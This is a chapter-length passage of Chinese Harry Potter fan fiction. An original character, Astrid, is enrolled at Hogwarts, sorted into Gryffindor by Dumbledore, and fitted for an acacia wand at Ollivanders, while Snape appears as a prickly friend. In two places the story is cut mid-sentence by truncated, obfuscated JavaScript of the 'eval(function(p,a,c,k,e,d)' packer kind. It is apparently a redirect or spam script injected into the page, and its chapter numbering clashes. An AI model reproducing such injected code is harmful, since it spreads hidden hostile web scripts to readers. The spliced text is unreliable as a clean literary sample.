阿斯特丽德后来时常回想那个夜晚,并得出了一个在她看来毋庸置疑的结论:如果斯内普有朝一日当真站上讲台,那必定是一位极其难得的良师——他不仅具备过硬的专业素养,还懂得在适当的时候给予学生人生启迪,更难得的是,即便面对一个屡战屡败、屡败屡战的笨学生,他也能心平气和地安抚、鼓励,甚至不惜拉踩其他无辜人士,只为了让对方重拾那点摇摇欲坠的信心。这世上有几个老师能做到这种地步?反正她在蜘蛛尾巷那所灰扑扑的学校里是从未遇见过。 某个晚上,当那支可怜的羽毛笔又一次在第无数次尝试中轰然倒下后,阿斯特丽德终于放下魔杖,认真问道:“你考虑过留校当老师吗?”她真挚地望着他,眼神近乎虔诚,“我是认真的——那一定会造福学生和整个魔法界。” 斯内普正准备从她手里取回魔杖,闻言动作微微一顿。他的眉头细微地蹙起,像是听到了什么匪夷所思的提议——教书?他?那黑沉沉的眼睛里闪过一瞬难以捕捉的茫然,随即被他惯用的那层讽刺外壳严严实实地包裹起来。 “留校任教。”他慢吞吞地重复了一遍这个词,语气拖得又长又懒,仿佛在品味某种味道古怪的魔药,“我不得不提醒你,霍格沃茨的教授席位目前一个空缺都没有——除非你有办法让现任的某位教授突然萌生退意,比如说服弗立维教授去追求他年轻时的音乐梦想,或者建议麦格教授提前享受退休生活。如果你有这个本事,我倒是愿意考虑你的提议。” “更何况,我从不认为自己适合教书——耐心这种东西,我向来稀缺,尤其面对那些连基本咒语都记不住的蠢货时,可能会忍不住把他们变成一滩有意识的烂泥。至于教书这份职业的前景——”他的目光落在虚空中的某一点,语气有些晦涩,“比起我想追随的和换取的,站在讲台上念课本,未免有些……平平无奇。” 阿斯特丽德安静地听着,没有反驳。但她注意到他说这些话时,眼里偶尔透露出近乎困惑的情绪,仿佛她刚才那个问题在他心里撬开了一道细小的缝隙,透进了一丝他从没见过的光。 她不知道的是,在她继续埋头研究那本咒语书后,斯内普的目光在她身上停留了很长时间。教书——这个他从未认真考虑过的念头,在他的意识版图上没有占据过任何坐标,它像一只不知从何处飞来的夜行蝙蝠,忽然闯入他常年蛰伏的黑暗洞穴,在那些积满尘埃的认知岩壁上投下一道陌生的、颤动的影子。教授们都干得好好的,自然不需要他。更何况,他一直以为自己要走的是另一条路——那条路通向力量和改变,以及彻底摆脱蜘蛛尾巷那个泥潭的可能。比起追随黑魔王开创一番“事业”,站在讲台上日复一日地重复那些基础知识,确实显得平淡无奇,甚至有些……平庸。 但他不得不承认,她方才描述那个场景时,眼里的光芒太过真挚,真挚得让他有一瞬间竟真的开始想象——如果站上讲台的那个人是自己,会是什么样子? 荒谬。他在心里对自己说。一个连自己都尚未找到出路的人,有什么资格去教别人? 他垂下眼眸,重新拿起那支深蓝色的羽毛笔,继续写他那篇被中断的论文。但那支笔今天似乎格外不听话,写出来的字迹比平时潦草了几分,仿佛也在嘲笑他那些连自己都没理清的思绪。 就这么又过去了五天,阿斯特丽德的魔法水平依旧在原地踏步——进步当然还是有一点的,只是那点微小的进展需要拿着放大镜仔细寻找才能勉强辨认。那支羽毛笔已经能够颤巍巍地在空中画完一个完整的圆,然后心满意足地倒下,仿佛在说“我今天已经尽力了,剩下的明天再说”。斯内普对此的评价是:“如果魔力进步的速度能用蜗牛爬行来衡量,那你大概是一只正在度假的蜗牛——不紧不慢,优哉游哉,完全不在乎终点的位置。” 而他自己,倒是恢复如初,可以出院了。 那天上午阿斯特丽德去医疗翼迎接他,庞弗雷夫人照例给他做最后一次全面检查。因为伤口已经全部长好,所以这次检查是穿着校服进行的——这让阿斯特丽德颇为遗憾,只能老老实实地待在帘布外面,瞪着那条并得过分紧致的缝隙,在心里腹诽斯内普这个人当真是把贞操看得比友情还要重。不过转念一想,这样也挺好,怪纯情的,纯情得让人忍不住想逗他。 她正乱七八糟地想着这些有的没的,帘子那头已经检查完毕。斯内普感谢过庞弗雷夫人,背起他那显然已经收拾妥当的书包,掀开帘子走了出来。他的目光在她脸上停留了一瞬,然后率先迈开脚步,语气平淡:“走了。” 阿斯特丽德连忙跟上去,两人一起沿着旋转楼梯往地窖方向走。下了两层楼梯后,她才压低声音开口:“既然你都恢复好了,我今天也该回去了——我的作业和课程落下好多,再拖下去估计老师要找我谈话了。” 她确实是该走了,这一点她心里很清楚。但说出口的时候,还是忍不住有些留恋。 倒不仅仅是因为那些会动的画像,那些飘来飘去的幽灵,以及会自动变换方向的楼梯——在十天前,这些奇幻的景象的确让她忍不住惊叹。可现在,它们不过是些老相识罢了。某个画像里的贵妇人,千年前还曾在她面前行过屈膝礼;那几道最爱捉弄人的楼梯,她眼看着它们从一块块木头垒起来。 而除此之外,让她百般留恋的还有些别的东西。 比如,这里的床比蜘蛛尾巷那张塌陷的弹簧垫舒服一百倍,早餐不用自己动手做也不用看姑妈的脸色,走廊里没有发霉的味道也没有邻居家飘来的二手烟。 比如—— 他。 那个此刻正走在她前面半步、单肩背着旧书包的黑发少年。他的背影她跟了八年,从蜘蛛尾巷跟到霍格沃茨,从八岁跟到十六岁。以前是跟在后面走那条坑坑洼洼的路,现在是跟在后面走这些她亲手见证修建的台阶。 斯内普的脚步停了下来。他站在楼梯拐角处,单肩背着书包,一只手插在裤兜里,侧身看着她——现在他已经比她高出更多了,能轻易看到她发顶那几根永远不服帖的呆毛。他的目光在她脸上逡巡了一圈,然后声音低沉的开口,带着他惯有的那种慢悠悠的讽刺:“我以为你应该已经对自己是个巫师这件事有了明确的认知。” 阿斯特丽德歪着头看他,一时没明白他想说什么:“……所以?” “所以,你应该留在这里,继续学习。而不是任由自己那点可怜的魔力被主人忽视——如果那点魔力会说话,它大概已经写了一百封投诉信,控诉你对它的冷落和虐待。” 阿斯特丽德立刻举手抗议:“我可没有忽视它,我珍惜得要命!”她说着,还刻意压低声音,仿佛怕被自己那点可怜的魔力听见似的,“你小点声,万一它真的以为自己被主人嫌弃,干脆烟消云散了怎么办?那我找谁说理去?” 斯内普挑起一边眉毛,表情明明白白地写着“你脑子里到底装了多少稀奇古怪的东西”。但他没有继续这个话题,只是转身继续往下走,语气依旧平淡:“如果我没猜错,校长应该已经派教授去跟你的姑妈说明情况了。你只需要等着就好,别想那些有的没的。” 阿斯特丽德愣了一下,连忙跟上去,心里却涌起一连串疑问——他是怎么知道的?邓布利多为什么要这么做?但转念一想,斯内普毕竟是斯内普,他总能知道一些别人不知道的事,这大概是他与生俱来的本事。于是她没有追问他是怎么知道的,而是问了一个更实际的问题:“你们一年学费是多少啊?” 她可是见识过古灵阁里那些妖精的精明,加隆和英镑的汇率离谱得能吓死麻瓜。瑞娜姑妈那个连买根蜡烛都要算计半天的性子,怎么可能愿意负担这笔钱?更何况—— “如果只上两年学,我能顺利毕业吗?”她殷切地望着前方那道挺拔的背影,语气里带着明显的忐忑。两年应该够了吧?学点基本的现代咒语,能让自己不至于像个傻子一样手足无措,应该就够了? 斯内普的背影再次停下来。他慢吞吞地转回身,用一种看傻蛋的眼神从上到下把她扫了一遍,然后开口:“巫师教育是系统性的,需要整整七年。每一年都有必须完成的学习内容和考试标准,缺一年就会像一座建到一半就停工的房子,既不像样,也不安全。你只上两年,大概能学会怎么让羽毛笔飘起来,但万一遇到什么需要真本事的情况——”他语气拖得懒洋洋的,“你大概只能指望那支被你折磨得够呛的羽毛笔帮你挡咒语。” 阿斯特丽德睁大眼睛,眸子里写满了震惊和忧虑。七年?那得多少钱?瑞娜姑妈会同意吗?她恐怕会觉得这是什么骗局,或者干脆认为—— “你到底是哪来的怪人?”瑞娜姑妈叼着一根女士香烟,一手叉着腰,另一只手指着麦格教授头上那顶巫师帽,脸上的表情活像见了鬼,“是不是那个臭丫头惹了什么事躲起来了?什么狗屁魔法,别跟我提那些没用的——我活了这么大岁数,就没见过什么魔法!” 麦格教授站在瑞娜姑妈那间逼仄的客厅里,身姿笔挺如松,脸上表情严肃。她听完瑞娜姑妈那一通连珠炮似的质问后,只是微微抬起下巴,语气平静又威严:“杜兰特女士,我完全理解你的怀疑——对于从未接触过魔法世界的人来说,这一切确实难以置信。但我可以向你保证,霍格沃茨魔法学校是真实存在的,你的侄女阿斯特丽德·杜兰特也的确拥有魔法天赋。这是不可否认的事实。” 瑞娜姑妈跟看神经病似的看着她,嘴角叼着的香烟随着她嗤笑的动作一颤一颤的:“哦?那你怎么证明?变个戏法给我看看?” 麦格教授微微叹了口气——很明显地露出一副“我本不想这样但既然你要求了那就只好如此”的无奈表情。她抽出魔杖,轻轻一指瑞娜姑妈嘴里那根正在燃烧的香烟。香烟瞬间熄灭了,连一丝烟都不再冒,像是被突兀地掐灭了所有燃烧的可能。 瑞娜姑妈愣愣地抬起手,盯着那根凭空熄灭的香烟看了好一会儿,又看看麦格教授手里那根不起眼的小木棍,脸上的表情从震惊到困惑,又从困惑到一种近乎崩溃的茫然。 “吸烟有害健康。”麦格教授收回魔杖,语气一本正经,“我只是帮你做了个正确的选择。” 瑞娜姑妈张了张嘴,低头看看那根彻底熄火的香烟,又抬头看看麦格教授,如此反复三次后,终于用一种认命般的语气开口:“所以,阿斯塔是个女巫?” 麦格教授欣慰地点点头,嘴角露出一丝很浅淡的笑意:“现在我们能坐下好好谈一谈了吗?” 而在霍格沃茨的地窖走廊里,阿斯特丽德尚不知道远在蜘蛛尾巷的那场交锋已经尘埃落定。她只是忧郁地望着斯内普的背影,心里盘算着七年学制需要多少加隆,以及自己得卖多少瓶润肤霜才能凑够这笔巨款。 斯内普似乎感知到了她那些忧心忡忡的念头,头也不回地继续往前走,语气依旧平淡:“霍格沃茨有助学金,而且可以替教授帮工赚钱——批改作业、整理资料、协助实验,诸如此类。前提是你的能力过关,能完成那些任务。如果连基本的咒语都使不利索,那还是趁早打消这个念头,安安心心当你的‘摔炮’比较现实。” 阿斯特丽德连忙追上去,眼睛却亮了起来:“哦……就像你那样。”她顿了顿,又忍不住小声嘀咕起来,“可是连续上七年,毕业时我都二十三岁了——那不会太奇怪吗?” 奇怪吗?邓布利多显然不这么觉得。 他慈和地坐在那张巨大的书桌后面,眼神温和地示意阿斯特丽德在面前的椅子上坐下。他轻轻挥了挥手,一杯热气腾腾的饮品从旁边的茶壶里自动飞出,稳稳地落在她面前——那是一杯加了蜂蜜和少许肉桂的热牛奶,散发着甜丝丝的香气,正是能让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“明天,海格会带你去对角巷购买校服、课本,以及——最重要的,魔杖。每个巫师都需要的魔杖。没有它,你那些可怜的魔力就只能继续被羽毛笔嘲笑。” 阿斯特丽德的眼睛亮了起来,笑容灿烂得像窗外初升的星辰。对角巷!她上次去过一次,至今念念不忘——那些自动冒烟的坩埚,那家卖冰淇淋的店,还有那个被斯内普嫌弃却又偷偷喜欢得不得了的得意洋洋的羽毛笔。她终于可以拥有属于自己的魔杖了,终于可以正大光明地走进那些店铺,而不是作为一个“跟着来的麻瓜”小心翼翼地看着。 邓布利多看着她那副抑制不住雀跃的模样,嘴角的弧度又加深了些。办公室里的光线渐渐暗下来,福克斯在栖木上梳理着羽毛,偶尔发出一两声轻柔的鸣叫。 待到阿斯特丽德终于从兴奋中稍稍平复下来,邓布利多才像是终于想起某件被他暂时搁置的事情一般,语气随意地开口:“哦,对了——还有一件事需要告诉你。” 阿斯特丽德抬起头,等待着他的下文。 “考虑到你目前的魔法水平,以及每个巫师都应该接受系统培训这一基本原则,”邓布利多的声音依旧温和,“你得从一年级开始上课,每一年都要通过相应的考试,才能顺利进入下一学年。在这一点上,任何人都不能例外。” 阿斯特丽德点点头,这倒是在她预料之中——毕竟她那点“摔炮”级别的魔力,确实需要从头学起。但邓布利多的下一句话,却让她愣住了。 “此外,”邓布利多端起自己面前的那杯饮品,轻轻抿了一口,“我看你这几天在格兰芬多住得挺好的,和胖夫人相处融洽,和同学们也能聊得来,所以干脆就别搬去斯莱特林了。就这样吧,你是个格兰芬多了。” 阿斯特丽德盯着他,一时不知道该说什么。格兰芬多?斯内普最讨厌的格兰芬多?那个他提起时总要加上几句刻薄评价的格兰芬多?她愣了半晌,终于找回自己的声音:“校长,您和分院帽不是都认为我是一个彻头彻尾的斯莱特林吗?” 邓布利多放下杯子,那双蓝眼睛透过半月形眼镜静静地看着她,目光深邃。良久,他才开口,语气依然温和,但内容却让阿斯特丽德瞬间警觉起来。 “我相信你这几天已经了解到不少关于黑魔王和纯血家族的事情了,对吗?” 阿斯特丽德的笑容收敛了几分,点了点头:“嗯,的确。” “那么你也应该清楚,如果你被暴露在汤姆的视野里,那将是一件非常危险的事情——”邓布利多的眼里闪过一丝难以捉摸的光,“不啻于一场灾难,萨姹。” 阿斯特丽德安静地与他对视着。墙上的画像们更加安静了,一道道目光从四面八方投过来,落在办公室中央的这两个人身上。福克斯也不再梳理羽毛,歪着脑袋打量着这一切。整个校长室里静得可以听见火焰燃烧的细微声响。 好一会儿之后,阿斯特丽德才轻声开口:“是你授意让麦格教授罚我去禁林的?” 邓布利多没有否认。他甚至笑呵呵地端起杯子又喝了一口,姿态十分悠闲:“作为校长,我总得为霍格沃茨负责——验证一些流传了千年的说法,确认某些可能影响这座城堡命运的事情。这算是我的一点小爱好,也可以说是责任。” 阿斯特丽德眼神复杂地看着他,她沉默须臾,还是问出那个更直接的问题:“那么我是否可以理解为,校长先生是想把我管控在你的势力范围内,以免节外生枝?” 邓布利多依旧笑呵呵的,眼神却深邃了许多。他放下杯子,双手重新在桌面上交叠,目光落在她脸上:“你会是一个很聪明的学生,杜兰特小姐。”他换回了平常的称呼,“但我更愿意称之为——保护。” 窗外的夜色已经完全笼罩了城堡,远处的禁林在月光下泛着幽暗的光,偶尔有什么东西在林间穿行,激起一阵细微的骚动。良久,阿斯特丽德才轻轻点了点头:“我明白了,校长先生。” 邓布利多满意的笑容里带着一种如释重负的轻松。他重新端起杯子,朝她微微举了举:“欢迎来到霍格沃茨,格兰芬多的杜兰特小姐。我相信接下来的七年,会非常……充实且有趣。” 阿斯特丽德却忍不住在心里模拟了一下斯内普知道这个消息时的表情,那一定精彩极了。 30. 随便买根小木棍得了 27. 阿斯特丽德当晚就在格兰芬多那间空寝室的大床上做了个愁死人的梦——梦境荒诞离奇得足以载入她个人的魔幻现实主义编年史,以至于第二天醒来时,她盯着天花板上那幅正在打瞌睡的肖像愣了好一会儿,才确信自己确实还待在霍格沃茨而非某个只能哭唧唧的诡异时空。 梦里的女主角自然还是她本人——阿斯特丽德·萨姹·杜兰特,但因不甚喝了添加雄黄的南瓜汁,从而暴露了她那条华丽的、粗壮的、银白色的、她自认很能彰显蛇格魅力的尾巴。 那尾巴又大、又粗、又长,摇曳生姿,按说足以吸引任何雄蛇对她趋之若鹜,可偏偏她的爱人是一位苦哈哈的人类小可怜——他开了个药铺,每天起早贪黑地熬魔药、给他们共同的药妆品牌A.S提供技术改良,还要孜孜不倦地搞副业赚钱还房贷,两万金加隆的债务压得他连做梦都在计算利息。他可太累了,以至于那天晚上他拖着疲惫的身躯回到家里准备倒头就睡时,完全没有发现那拉得严严实实的帷幔里正透着一股不祥的气息。 而他的妻子——也就是梦里的阿斯特丽德——正摆动着那条粗壮的蛇尾,用尾巴尖戳了戳他的喉结,语气甜腻得能酿出蜜来:“哦,亲爱的,要做些什么有益身心健康的运动吗?我敢打赌你会舒爽到灵魂出窍的~”那尾巴尖顺着他喉结的弧度缓缓下滑,带着冷血动物特有的滑腻与冰凉,一股令人颤栗的阴冷感牢牢攫住了他,那种被紧紧盯住、恨不得下一秒就将他“吞吃入腹”的感觉让他瞬间清醒——然后他就真的魂魄出窍了,物理意义上的,飘飘悠悠地升到半空中,困惑又无辜地望着下方那个目瞪口呆的女人。 大惊失色又悲伤不已的阿斯特丽德只好大显神通去救她的爱人,可她不小心把劲儿使大了——她的爱人直接回到了幼时,变成了一个缩在墙角用警惕眼神打量周围一切的小豆丁,而她则因此失去法力变得孱弱不堪,更糟糕的是,她暴露在了一位大巫师的眼皮子底下。那是一个须发皆白的老头子,穿着深紫色缀满星星的长袍,一手拖着个银盆,盆里还有某种银白色的物质在涌动——他高高举起那银盆对着她,另一只手用那根可爱的小木棍指着她,神色严厉:“孽畜!还不悔过!”只见金光一闪,下一秒她就被这老头给关进了一座红色的塔楼里,塔楼高得足以俯瞰整个城堡,却怎么也逃不出去。她挣扎着、扭动着,伸出手想要呼唤她那变成小豆丁的爱人,声嘶力竭地喊出那个古早又肉麻的称呼:“官人——” 可她的爱人不记得她了。那个穿着明显过大的黑色旧袍子的小男孩站在塔楼下,冷漠又困惑地仰头盯着这一幕,然后不咸不淡地对那个臭老头微微颔首,语气是他惯有的平淡却刻薄的调子:“如果您问我的意见,校长先生,我建议把这妖物关好——最好加上几层束缚咒,以免它哪天挣脱出来继续祸害无辜民众。毕竟从它刚才的表现来看,危害性相当可观。”说完他便转身离去,那抹漆黑的瘦小身影在午后的阳光下渐行渐远,连头都没有回一下。 呜——她好痛,好恨,好悔。果然满脑子黄色废料是没有好下场的,做人做蛇都得清心寡欲、克己复礼,否则就会像她这样被镇压在高塔里,眼睁睁看着心爱的人变成不认识自己的小豆丁。望着那道远去的漆黑身影,被镇压在格兰芬多塔楼中的阿斯特丽德终于忍不住悲鸣出声,调子凄婉哀怨得足以让听见的人都潸然泪下:“黑湖水,我的泪,我情愿和你化作一团火焰——啊āáāǎā~啊āáāǎā~” 做梦好累哦,像是绕着黑湖跑了好几圈那么累。 黑湖…… 阿斯特丽德猛地打了个寒颤,连忙撩开帷幔下床。那个梦对她的影响之大,以至于她站在盥洗室的镜子前刷牙时都有些恍惚——斯内普不会真的因为她被分到格兰芬多就把她抛弃在此、再也不闻不问吧?以此作为她“背叛”他的代价?噫,不能不能,她赶紧用冷水拍了拍脸,强迫自己从荒诞的忧虑中抽离出来,抓紧时间收拾好自己,然后踩着点往禁林边缘的那间小木屋赶去。 落地镜眼睁睁望着那道已经被合上的木门,光滑的镜面上古怪地扭曲了一下——怎么办?这个臭丫头今天居然没有问它“魔镜魔镜谁最美”这种保留节目,她不会是遇上什么事了吧? 哦,天哪,它居然在担心些什么?它明明只是一面镜子,一面恪守本分、只想安安稳稳混日子的镜子,什么时候变得这么……这么关心一个自恋狂了?这难道就是传说中的职场抖m症状吗?PUA的力量果然恐怖如斯。 魔镜又痛苦地扭曲了一下,依旧担忧地望着门口的方向。 十一月的早晨难得是个明媚的好天气,这在英国简直是值得敲锣打鼓庆祝的稀罕事。阿斯特丽德走到那间位于禁林边缘的小木屋前时,海格已经拿着他那把标志性的粉红雨伞等候在门口了——那雨伞在阳光下泛着一种诡异的珠光色,让人忍不住怀疑里面是不是藏着什么见不得人的东西。她心情很好地走过去,笑眯眯地冲着那个足有普通人两倍高的看守员微微欠身,语气真挚又雀跃:“感谢您为我做向导,海格先生,这将是我人生中绝对值得纪念的一天。” 海格那张被乱糟糟的胡子和头发遮住大半的脸上顿时绽开一个憨厚的笑容:“哦,别这么客气,杜兰特小姐!叫我海格就行——先生什么的,听着怪别扭的。”他挥了挥那把粉红雨伞,动作大得差点把旁边一棵小树的树冠给削掉,“能为未来的霍格沃茨学生当向导是我的荣幸!我还记得我第一次去对角巷的时候,激动得差点把破釜酒吧的门给撞下来——那门后来修了整整两天,老汤姆到现在见了我还念叨呢!”他说着便自顾自地哈哈大笑起来,笑声震得林间的鸟雀扑棱棱飞起一片。 再次乘坐夜骐马车来到对角巷,阿斯特丽德已经能够泰然自若地应对破釜酒吧里那些或隐晦或直白的打量目光了——她不是第一次来这儿,而且她现在并非一个纯血麻瓜。 对,按照血统论来讲,她如今是一个肮脏的、令人不齿的巫种麻瓜。她算是在座诸位的同类了。所以—— 看什么呢?说你呢,就是你,那个趴在西南角第二张桌子上鬼鬼祟祟的刀疤男!你那两只眼睛往哪儿瞟呢?信不信我化学阉割你?对此颇有经验且拥有一整套完整理论支持的阿斯特丽德狠狠瞪了回去——她已经不是从前那个连把蠢货们变到烟囱上都做不到的小姑娘了,她现在强得可怕(?)。 她往海格身侧靠了靠,企图借助他魁梧得足以遮天蔽日的身躯挡住那道令人不适的视线,直到拐进那条堆满锈迹斑斑垃圾桶的巷道后,才在心里默默腹诽了一句:臭狼人! 坏心情并没有机会持续太久——对角巷那热闹奇幻的街景很快就把阿斯特丽德熏染得欢快起来,那些歪歪扭扭挤在一起的建筑、橱窗里自动飘浮的扫帚和冒烟的坩埚、穿着各色长袍匆匆穿行的人群,每一处都像是一剂强力兴奋剂,让她的眼睛亮得能当路灯使。 她跟随海格先去古灵阁办理了霍格沃茨助学基金的拨款手续——那些妖精打量了她好一会儿,然后才不情不愿地给她开设了属于自己的个人账户——不是,金库(虽然里面目前只有薄薄一叠加隆,寒酸得让那个办事的妖精都懒得正眼看)。然后她拿着今年份的那点可怜的资金,一家家店铺光顾过去。 长袍?买二手的就行,反正穿不了几年就得换;坩埚?学校有公用的,能省则省;猫头鹰?哦——她想念格丽那个傻姑娘了,也不知道邮局给她涨工资了没有。 至于一年级的课本?那完全不重要——她坚信某位伟大又心善的巫师先生会为她提供全套七年二手教材以及配套笔记的,毕竟他已经慷慨地允许她使用他的魔杖练习咒语了,不是吗?这种一鱼两吃的好事,以他那别扭的性格,虽然表面上会嘲讽她几句,但最后肯定还是会皱着眉头把东西扔给她。所以她一家家店逛过去,只看不买,最后只收获了一些必要的文具和魔药材料,以及几套二手校服——格兰芬多款。没事,她在心里安慰自己,等毕业了她就有足够的能力把这些袍子全都变成斯莱特林款的墨绿色,相信那时的她(如果运气好的话)应该能做到这点。 而本次旅程最重要的目的地,当然是那家她心心念念了许久的奥利凡德魔杖店。 这一次推开那扇落满灰尘的玻璃门时,店里的景象与上次路过时完全不同——没有了那些挤挤挨挨等着选购人生第一根魔杖的小巫师和家长,也没有了那种热闹喧嚣的暑期氛围,只剩下一排排堆到天花板的狭长纸盒安静地立在昏暗中,像一堵沉默了几百年的墙。柜台后面的老头正弓着腰给一个刚刚离开的顾客修理其留下的魔杖,那根魔杖在他苍老的手指间泛着柔和的光,杖身上的裂纹正以肉眼可见的速度愈合。等那扇门终于在那位顾客身后关上,奥利凡德才抬起头来,用他那双颜色很浅的、像蒙了一层雾的眼睛打量着阿斯特丽德和海格。 阿斯特丽德笑眯眯地凑到柜台前,从口袋里掏出那几张她精心绘制了整整两晚上的设计图,一一摊开在那块被磨得光滑发亮的旧木板上。她的手指点在那些图样上,语气真挚又雀跃:“奥利凡德先生,我希望能购买到一根金合欢木材质的、杖身雕刻着蛇鳞及羽毛纹路的魔杖,并且最好镶嵌一颗紫色的宝石——喏,就像图上画的这样。” 老奥利凡德低头看了看那些设计图,又抬起头来看她,然后用一种轻得像是从很远的地方飘来的声音开口,语气里带着一种职业性的无奈和耐心:“年轻的女士,我必须得告诉你一个事实——魔杖选择巫师,而不是巫师选择魔杖。你可以带着一百张设计图来我这里,但如果那些材质和造型与你无缘,那么它们就只是一堆漂亮的木头和宝石,仅此而已。”他摊开两只手,“我们这里有无数种组合,但你最终能带走的,只会是那一根愿意选择你的。这就是缘分——魔法世界的缘分。” 阿斯特丽德不免有些失落,眼里的光芒黯淡了一瞬。但她还是顺从地让奥利凡德量了臂展,回答了一些关于使用习惯和偏好的问题,然后乖乖站在柜台前,等着他给自己拿魔杖。 “黑胡桃木,龙心弦,十三又四分之三英寸,坚硬。”奥利凡德将一根巧克力色的漂亮小木棍递给她,那木头泛着一种温润的光泽,“它喜欢直接敏锐和洞察力强悍的主人,用这种魔杖的人学咒最快。” 听到“学咒最快”这四个字,阿斯特丽德眼睛一亮,连忙接过那根魔杖握在手里,聚精会神地挥动了一下——什么都没有发生,连一丝微风都没有带起。 奥利凡德立即抽走那根魔杖,嘀咕着“不是……不是这个……”,然后转身在堆积如山的盒子里翻找起来。他的动作很快,一个个盒子被打开又合上,一根根魔杖被递到她手里又被迅速抽走。 “黑檀木,山暴龙心弦——它很喜欢特立独行、勇敢做自己的人,同时适合各种类型的攻击性魔法,力量狂暴。”奥利凡德将这根乌黑优雅的小木棍递给她,“试试挥动它。” 阿斯特丽德从善如流地接过魔杖,用力一挥——依旧什么都没有发生,连一点火花都没有爆出来,安静得像是她在挥一根普通的树枝。 奥利凡德的眉头皱了起来,这让他看起来更老了。他又换了一根山毛榉木搭配长角水蛇角的魔杖给她,说这种材质组合很欣赏拥有超群智慧和丰富经历与胸襟的人,同时灵性极高、擅长感知类魔法。阿斯特丽德再次接过魔杖挥动了几下,店里静悄悄的,只有那根小木棍划过空气时带起的微弱风声。 太尴尬了——她不知道是否所有巫师购买魔杖时都是这样一波三折,但她此刻只觉得脚趾几乎要在地板上扣出一座霍格沃茨城堡,每一根脚趾都在用力地表达着她的尴尬和窘迫。 接下来,柜台上的盒子越堆越高,那些打开的盒盖像一只只茫然的眼睛瞪着天花板。奥利凡德找魔杖找得腰都快直不起来了,他佝偻着身子在各色盒子里翻找着,每一次转身递过来新魔杖时,脸上的期待都逐渐被困惑取代。阿斯特丽德对此深感歉意和惭愧——这位老人家已经为她服务了将近两个小时,却连一根能和她产生反应的魔杖都没找到。 但是当她听到那些杖芯材质的名称时,面色还是忍不住古怪起来—— “媚娃的头发——魔法华丽迷人,带有魅惑力,但脾气暴躁。” 媚娃是什么东西?这杖芯又是什么意思?难道她那深入骨髓的自恋和臭美终于被某种神秘力量发现了吗? “巨怪胡须——力量粗暴,爆发力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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既然她这么喜欢金合欢木,那就拿一根出来哄孩子开心吧——那点魔力本来就够可怜的了,如果买不到魔杖她该多伤心?为无数小巫师提供了巫师生涯中第一份贺礼的老奥利凡德,不能干这么伤人的事。那就给她一根小木棍做做样子得了,好歹也算是有根魔杖。 阿斯特丽德眼睛一亮,连忙接过那根魔杖,手指轻轻抚过那熟悉的木质纹理,随口接了一句:“原本?” “是的,它还没来得及被镶嵌进这根魔杖。”奥利凡德坚决不干那坑蒙拐骗的事——这是职业操守。 沉默。对视。空气中弥漫着一种微妙的尴尬。 所以你的意思是我不配拥有一根合格的完整的魔杖喽? 不,我不是那个意思。请你听我给你圆——奥利凡德清了清嗓子,用他那特有的飘渺语气解释道:“夜骐尾毛作为杖芯,提供的魔力深不可测。但它只能被见过死亡的巫师使用。而店里目前所存的杖芯原材料,你刚才都试过一遍了,与你并不匹配。”所以,就别浪费材料了,拿着这根小木棍回学校玩去吧。 她不! “您刚才说,只有见过死亡的巫师才能使用那个杖芯?”阿斯特丽德抬起头,语气平静:“我能看见夜骐。” 是的,她见过。 那个倒在尖叫棚屋地板上的、黑漆漆的小小身影,她见过——在那段她尚未完全理解的记忆中,在那座透明雕像尚且困惑不解的眼神里。她见过死亡,真切地见过,那份记忆深深刻在她灵魂的某个角落里,挥之不去。 这下轮到奥利凡德发出感叹号了。那双浅色的眼睛猛地睁大,里面闪过难以置信,随即他连忙起身,神经质地拿过那根金合欢木的小木棍回到操作台边,在一片细密的切磨声和偶尔迸发的魔法火花里,开始有条不紊地工作起来。他的动作快得令人眼花缭乱,那些原本粗糙的木质在他苍老的手指下渐渐变得光滑圆润,杖身上的纹路开始显现出某种规律的美感。 “需要蛇鳞雕刻吗?”他头也不抬地问了一句,然后又自顾自地补充道,“还要羽毛纹路……”语气像是在自言自语。 阿斯特丽德一直坐在茶桌边,目光频频望向操作台那边忙碌的身影。一杯茶的时间过去——或许是两杯,她没注意——当那根完全符合她定制要求的魔杖终于被交到她手里时,她的心跳得快要从胸腔里蹦出来。 那是一根通体泛着柔和光泽的金合欢木魔杖,杖身上雕刻着精细的蛇鳞纹路,每一片鳞片上都覆盖着同样精细的羽毛状细纹,在昏黄的灯光下流转着若有若无的浅黑褐色泽,看起来沉稳、高贵,有质感极了。她期待地握紧杖柄,聚精会神地挥动了一下—— 杖尖冒出了一丝极淡的、微弱的青烟,袅袅升起,像一只刚学会呼吸的雏鸟试探着展开翅膀。 然后,就像气绝身亡一样,再无动静。 这是……对她的嘲笑吗? 但不管怎么说,她拥有了一根完全符合自己心意的魔杖,就算只能拿来收藏也足够令人心情愉悦了。她郑重其事地向奥利凡德欠身致意,执意给他付了十个金加隆——那几乎是她这个学年手头余钱的一大半——算是对他今天这一通折腾以及超绝定制速度的额外报酬。奥利凡德推辞了两句,最后还是收下了,那双浅色的眼睛里闪烁着某种复杂的、近乎感慨的光芒。 不过奥利凡德不提供宝石镶嵌业务,她需要自己找珠宝师傅帮忙把紫色的宝石镶嵌上去。但这件事不着急,毕竟她现在最迫切的需求是回到霍格沃茨,在今晚的礼堂餐桌上跟某位黑漆漆的巫师先生炫耀她的新魔杖——哪怕那根魔杖目前只能冒出一缕微弱的青烟,那也是属于她自己的、独一无二的魔杖。 真是令人迫不及待。 她小心地将那根魔杖收进外套内侧的口袋里,跟海格一起离开店铺。阳光从敞开的店门倾泻进来,在对角巷的鹅卵石路面上铺开一层温暖的金色。远处的钟楼正敲响下午三点的钟声,声音悠扬地飘荡在街道上空,惊起一群不知从哪里飞来的猫头鹰。阿斯特丽德站在奥利凡德店门口,深深地吸了一口混杂着魔法气息和烤面包香味的空气,嘴角的笑意怎么也压不下去。 今晚,就在今晚,她要把这根魔杖拍在斯内普面前,好好欣赏一下那张永远阴沉的脸上会出现怎样精彩的表情。 31. 他才是她的同桌 28. 